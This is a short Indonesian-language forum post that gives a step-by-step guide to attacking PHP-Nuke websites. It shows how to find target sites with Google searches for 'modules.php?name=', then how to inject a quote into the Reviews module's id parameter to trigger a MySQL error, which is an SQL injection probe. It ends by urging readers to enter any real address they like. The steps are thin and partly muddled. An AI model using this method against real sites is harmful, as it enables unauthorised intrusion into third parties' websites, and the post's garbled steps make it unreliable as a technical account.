XtGem Forum catalog

bug dengan php nuk


------------------------------------------------------

Author : SPYRO KiD


------------------------------------------------------



1. Arahkan browser anda ke rumah Paman Google:

http://www.google.com/

2. Masukkan kata kunci berikut:

modules.php?name=

3. Carilah yang memiliki struktur seperti berikut:

www.target.com/nuke1/modules.php?name=



4. Kita akan menjadi user dengan memanfaatkan bug ini.

Reviews&rop=showcontent&id=

Contoh:

http://www.xxxxxx.net/modules.php?Reviews&rop=showcontent&id='SPYRO

Akan keluar sebuh pesan kesalahan kurang lebih demikian:

Warning: Supplied argument is not a valid MySQL result resource in

/var/www/ixus/www/includes/sql_layer.php on line 339



5. Masukan kode berikut satu persatu:

Untuk add comment: Reviews&rop=showcontent&id=0

CONTOH untuk melihat comment :

http://www.xxxxxxx.net/modules.php?name=Reviews&rop=showcontent&id=0



Klik [Post Comment] untuk mengirim komentar.

Okay.. ;)


nb by dial_x ========> alamat diatas hanya rekayasa, dalam praktek nyata silahkan ketik alamat yang anda inginkan ;)